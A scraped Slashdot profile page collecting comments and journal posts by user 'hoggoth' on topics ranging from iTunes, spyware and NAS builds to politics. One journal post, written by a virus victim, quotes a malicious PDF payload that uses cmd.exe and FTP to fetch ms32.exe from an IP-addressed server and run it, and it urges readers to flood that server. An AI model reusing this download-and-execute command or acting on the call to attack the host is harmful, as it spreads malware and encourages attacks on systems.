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FreeNAS 9.3 Released

hoggoth Re:It needs a different name. (115 comments)

You have a point, that name could be taken the wrong way. You could use a code-name that describes it's benefits while avoiding that problemmatic pronunciation. How about: ""Another Plug-in Proc Succor"?

about a week ago
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Montana Lawmakers Propose 85 Mph Speed Limit On Interstates

hoggoth Re:Wildlife Fencing (525 comments)

The problem is the illiterate deer! We put up perfectly good 'deer crossing' signs and the deer wantonly ignore the signs and cross wherever they feel like it!

about three weeks ago
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BitTorrent Unveils Sync 2.0

hoggoth Re:FOSS solution available (60 comments)

> if your software product confuses someone with almost 20 years of experience in computing, you're doing it wrong

Speaking of which... Software developer with over 20 years of experience here... I tried to figure out iTunes WTF?! How can they make something so confusing? I just wanted to take 10 mp3s and put them on my daughters iphone. "If you continue I will erase everything on the iphone"...?!?! nope nope nope nope...

about a month ago
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Silicon Valley Swings To Republicans

hoggoth Corruption is the new black. (485 comments)

Is everybody ok with this?! Trial Lawyers *PAY* a politician to make bad laws that will generate more lawsuits, so he does. Google *PAYS* other politicians to make laws favorable to them. So they do.

It's completely outrageous and a generation ago would have been a huge scandal. Now it's business as usual. There is no more democracy.

about a month and a half ago
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As Prison Population Sinks, Jails Are a Steal

hoggoth Re:Prison population (407 comments)

I believe you, seeing attitudes like this: " "There's a prisoner shortage," says Mike Arismendez, "

about 2 months ago
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Technology Heats Up the Adultery Arms Race

hoggoth Re:so what you're saying... (304 comments)

> But how about a person who's suffered years of emotional abuse "knowing" their spouse is cheating without being able to prove it?

What is the point of proving it? You don't get double-divorced if you can prove it. You don't get more money if you prove it. Decide to stay together or split up, then do it.

about 2 months ago
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Eric Schmidt: Anxiety Over US Spying Will "Break the Internet"

hoggoth Re:Very easy to solve (179 comments)

> Restore the prohibitions against spying and require real warrants to engage. No more dragnets.

And while we're at it I'd like a pony and a flying car.
Aint going to happen.
It's like asking a Lion to just stop eating Wildebeast. Pass all the laws you want. Make all the restrictions and checks and balances you want. The three letter organizations have huge budgets for "black ops" where nobody can know what they are doing. Not even Congress. Probably not even the people in the next office in the same three letter organization.

about 2 months ago
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Will Windows 10 Finally Address OS Decay?

hoggoth Can't back up applications?!?! (577 comments)

> another backup, disk wipe, and reinstall.

The biggest problem for me is there is no way to backup and restore your installed applications! The 6 month shuffle goes more like: backup data, disk wipe, reinstall OS, reinstall every single application you use finding all of the serial numbers and resetting all of your preferences, restore data.

WTF?!

about 3 months ago
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CEO of Spyware Maker Arrested For Enabling Stalkers

hoggoth Re: Case on Shaky Ground (195 comments)

And the Dad of the Year awards goes to...

about 3 months ago
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CEO of Spyware Maker Arrested For Enabling Stalkers

hoggoth Re:Or put another way (195 comments)

The very similar software 'Spector Pro' does the same thing, but is strongly marketed for "monitoring your children" even though the product is used 99% by suspicious spouses and control-freak bosses. I don't expect they will have any legal problems because of their marketing. A few years back they removed the ability to do a "remote covert install" likely because it crossed that line of intent. (remote convert install means it sends an email with a fake attachment "hey look at this picture of the kids playing soccer" which was actually the installation EXE or a trojan that installed itself via an exploit.)

about 3 months ago
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The Raid-Proof Hosting Technology Behind 'The Pirate Bay'

hoggoth Re: Traffic is up? (144 comments)

Have you tried running Battlefield 4 inside a VM?

about 3 months ago
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The Raid-Proof Hosting Technology Behind 'The Pirate Bay'

hoggoth Re:Traffic is up? (144 comments)

I just assume that all torrented programs come with key-loggers these days.

about 3 months ago
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Secret Service Critics Pounce After White House Breach

hoggoth Re:Bullshit (221 comments)

> Twenty-one feet is chosen because that's the distance an average person can travel, from a standstill, in one second.

I think somebody needs to update their definition of "an average person".

about 3 months ago
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Unpopular Programming Languages That Are Still Lucrative

hoggoth Re:In Theory (387 comments)

So what did you convert everything TO? I needed a program to manage my business and whipped it together in Access in one day. It handles customer lists, project lists, billable hours, todos (customer requests) and auto generates all of my end of month invoices from the billable hours.

Thing is I *hate* Access. Every time I have to touch it I cringe because the way it works hurts my brain. But what else would let me make a system that does all this in just a few hours? Foxpro-ish tools would take weeks to code the loading editing and saving data from the database to the on-screen grids and forms. I looked at Lazarus, Rebol, DABO and LiveCode (RunRev), but they all look like they require hand coding the interface to some extent.

about 3 months ago
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Low-Carb Diet Trumps Low-Fat Diet In Major New Study

hoggoth Re:Too simple (588 comments)

Which is why I get all of my meat and vegetables directly from a local family owned farm.

about 4 months ago
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It's Dumb To Tell Kids They're Smart

hoggoth Re:No no (243 comments)

At a place I worked, they offered the sales team a challenge very much like the 'ideal' one you described. A group target was set, and each individual was given a target at some modest percentage above what their current rolling average was. Everyone either won or lost together. The sales team was very much like in your description, with an established lead salesperson who made the bulk of the sales and was given all of the "important" big strategic deals, some middle of the pack sales people who did a tenth what the lead did, and a few clueless newbies making cold-calls.

Everyone panicked, started messing up their normal routines. The lead salesperson wanted the prize, so give big discounts to close some sales a month earlier than they would have "naturally", and handed the contact information to the lower salespeople to "close" the sales (ie: write up the paperwork). The lower salespeople gladly took the "free" sales and ignored their own "harder" sales. The contest was won, the next month the lead had a bad month because he had dredged his pipeline with the big discounts. The other salespeople had bad months too because they had messed up the flow of their routines.

I'm not saying your idea isn't good. I'm just saying it's very hard to "game" the sales process, especially when your salespeople are experts at winning the game. Unintended consequences abound...

about 4 months ago

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IBM may outsource 3/4 of it's permanent workforce

hoggoth hoggoth writes  |  more than 4 years ago

hoggoth (414195) writes "MISH'S Global Economic Trend Analysis blog has an article up about IBM "crowdsourcing" away 3/4 of their workforce. The deal sounds something like this: "Employee, you will be doing the same work for us, except you won't be an employee, when it's slow in between projects you won't get paid, you won't get a pension, and you won't get health benefits." Being in I.T. just keeps getting better."
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Corporation runs for congress

hoggoth hoggoth writes  |  more than 4 years ago

hoggoth (414195) writes ""Following the recent Supreme Court ruling in Citizens United v. Federal Election Commission to allow unlimited corporate funding of federal campaigns, Murray Hill Inc. today announced it was filing to run for U.S. Congress".
This can't be a good thing."

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PDF virus targets Acrobat READER

hoggoth hoggoth writes  |  more than 7 years ago

hoggoth (414195) writes "The recent outbreak of the 'Peachy' virus showed that PDFs can carry dangerous content. All of the news outlets are repeating Adobe's statement that only the full Acrobat suite can activate the virus, that the free Acrobat Reader is immune. However as a victim of a PDF carried virus I can tell you it's not true. This morning I got an email from a financial services firm I have an account with to an email address I set up just for that financial services firm. This led me to stupidly trust the email that contained a PDF attachment. When I clicked on it a window popped up and went away; very suspicious behavior. So I looked closer at the PDF file and found that it contained a mailto: that put some DOS commandline instructions in a file and executed them, which contacted a server, downloaded an executable, and ran it. The meat of the offending part is this: 14 0 obj7&@echo binary>>7&@echo get /ms32.exe>>7&@echo quit>>7&@ftp -s:7 -v -A>nul&@del /q 7&@start ms32.exe&\" \"&\" "con.cmd)/S/URI>> This calls cmd.exe with a long command that turns off your firewall, FTP's into the offending site, downloads a rogue version of ms32.exe, and runs it. The virus installed a number of files to my computer and modified the startup to run them. I *think* I got rid of it all, although one can never be sure today with rootkits and all. I googled all over, and I think this is 'breaking news'. Every outlet is still saying Acrobat Reader is safe. Entities to Hate: The virus server at 203.121.69.116 Financial services institutions that sell your private email address to marketers. Adobe for allowing PDFs to execute cmd.com. Adobe for lying about Acrobat Reader being safe. Microsoft for their entire insecure operating system. Come on, outside data is allowed to run and TURN OFF THE FIREWALL?! Please feel free to pound that FTP server's IP address with all the hate you can muster."
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hoggoth hoggoth writes  |  more than 7 years ago

hoggoth (414195) writes "As a common everyman who needs big fast reliable storage without a big budget, I have been following a number of emerging technologies and I think they have finally become usable in combination. Specifically, it appears to me that I can put together the little brother of a $50,000 NAS/SAN solution for under $3,000. Here's how:

Get a CoolerMaster Stacker enclosure like this one (just the hardware not the software) that can hold up to 12 SATA drives. Install OpenSolaris and create ZFS pools with RAID-Z for redundancy. Export some pools with Samba for use as a NAS. Export some pools with iSCSI for use as a SAN. Run it over Gigabit Ethernet. Fast, secure, reliable, easy to administer, and cheap. Usable from Windows, Mac, and Linux. As a bonus ZFS let's me create daily or hourly snapshots at almost no cost in disk space or time.

Total cost: 1.4 Terabytes: $2,000. 7.7 Terabytes: $4,200 (Just the cost of the enclosure and the drives). That's an order of magnitude less expensive than other solutions.

Add redundant power supplies, NIC cards, SATA cards, etc as your needs require..

So storage experts, tell me why this is or isn't feasible!."

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